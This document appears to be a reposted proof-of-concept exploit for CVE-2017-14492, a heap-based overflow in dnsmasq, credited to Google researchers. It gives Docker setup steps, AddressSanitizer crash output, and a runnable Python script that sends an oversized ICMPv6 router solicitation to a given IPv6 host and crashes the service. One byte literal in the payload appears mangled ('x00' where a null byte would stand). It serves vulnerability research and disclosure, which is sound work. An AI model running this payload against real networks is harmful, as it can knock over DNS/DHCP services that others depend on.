Dnsmasq Heap-Based Overflow
Posted on 03 October 2017
''' Sources: https://raw.githubusercontent.com/google/security-research-pocs/master/vulnerabilities/dnsmasq/CVE-2017-14492.py https://security.googleblog.com/2017/10/behind-masq-yet-more-dns-and-dhcp.html 1) Build the docker and open two terminals docker build -t dnsmasq . docker run --rm -t -i --name dnsmasq_test dnsmasq bash docker cp poc.py dnsmasq_test:/poc.py docker exec -it <container_id> bash 2) On one terminal start dnsmasq: # /test/dnsmasq_noasn/src/dnsmasq --no-daemon --dhcp-range=fd00::2,fd00::ff --enable-ra dnsmasq: started, version 2.78test2-8-ga3303e1 cachesize 150 dnsmasq: compile time options: IPv6 GNU-getopt no-DBus no-i18n no-IDN DHCP DHCPv6 no-Lua TFTP no-conntrack ipset auth no-DNSSEC loop-detect inotify dnsmasq-dhcp: DHCPv6, IP range fd00::2 -- fd00::ff, lease time 1h dnsmasq-dhcp: router advertisement on fd00:: dnsmasq-dhcp: IPv6 router advertisement enabled dnsmasq: reading /etc/resolv.conf dnsmasq: using nameserver 8.8.8.8#53 dnsmasq: using nameserver 8.8.4.4#53 dnsmasq: read /etc/hosts - 7 addresses 3) On another terminal start the PoC: # python /poc.py ::1 547 [+] sending 2050 bytes to ::1 4) Dnsmasq will output the following: Segmentation fault (core dumped) ==556==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61900000ea81 at pc 0x00000049628a bp 0x7ffd60a28a20 sp 0x7ffd60a281d0 WRITE of size 4 at 0x61900000ea81 thread T0 #0 0x496289 in __interceptor_vsprintf (/test/dnsmasq/src/dnsmasq+0x496289) #1 0x4964d2 in __interceptor_sprintf (/test/dnsmasq/src/dnsmasq+0x4964d2) #2 0x519538 in print_mac /test/dnsmasq/src/util.c:593:12 #3 0x586e6a in icmp6_packet /test/dnsmasq/src/radv.c:201:4 #4 0x544af4 in main /test/dnsmasq/src/dnsmasq.c:1064:2 #5 0x7f0d52e312b0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202b0) #6 0x41cbe9 in _start (/test/dnsmasq/src/dnsmasq+0x41cbe9) 0x61900000ea81 is located 0 bytes to the right of 1025-byte region [0x61900000e680,0x61900000ea81) allocated by thread T0 here: #0 0x4cc700 in calloc (/test/dnsmasq/src/dnsmasq+0x4cc700) #1 0x5181b5 in safe_malloc /test/dnsmasq/src/util.c:267:15 #2 0x51cb14 in read_opts /test/dnsmasq/src/option.c:4615:16 #3 0x541783 in main /test/dnsmasq/src/dnsmasq.c:89:3 #4 0x7f0d52e312b0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202b0) SUMMARY: AddressSanitizer: heap-buffer-overflow (/test/dnsmasq/src/dnsmasq+0x496289) in __interceptor_vsprintf Shadow bytes around the buggy address: 0x0c327fff9d00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c327fff9d10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c327fff9d20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c327fff9d30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c327fff9d40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0c327fff9d50:[01]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c327fff9d60: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c327fff9d70: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c327fff9d80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c327fff9d90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c327fff9da0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap right redzone: fb Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==556==ABORTING ''' #!/usr/bin/env python # # Copyright 2017 Google Inc # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # # Authors: # Fermin J. Serna <fjserna@google.com> # Felix Wilhelm <fwilhelm@google.com> # Gabriel Campana <gbrl@google.com> # Kevin Hamacher <hamacher@google.com> # Gynvael Coldwind <gynvael@google.com> # Ron Bowes - Xoogler :/ from struct import pack import socket import sys ND_ROUTER_SOLICIT = 133 ICMP6_OPT_SOURCE_MAC = 1 def u8(x): return pack("B", x) def send_packet(data, host): print("[+] sending {} bytes to {}".format(len(data), host)) s = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_ICMPV6) s.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, len(data)) if s.sendto(data, (host, 0)) != len(data): print("[!] Could not send (full) payload") s.close() if __name__ == '__main__': assert len(sys.argv) == 2, "Run via {} <IPv6>".format(sys.argv[0]) host, = sys.argv[1:] pkg = b"".join([ u8(ND_ROUTER_SOLICIT), # type u8(0), # code b"X" * 2, # checksum b"x00" * 4, # reserved u8(ICMP6_OPT_SOURCE_MAC), # hey there, have our mac u8(255), # Have 255 MACs! b"A" * 255 * 8, ]) send_packet(pkg, host)
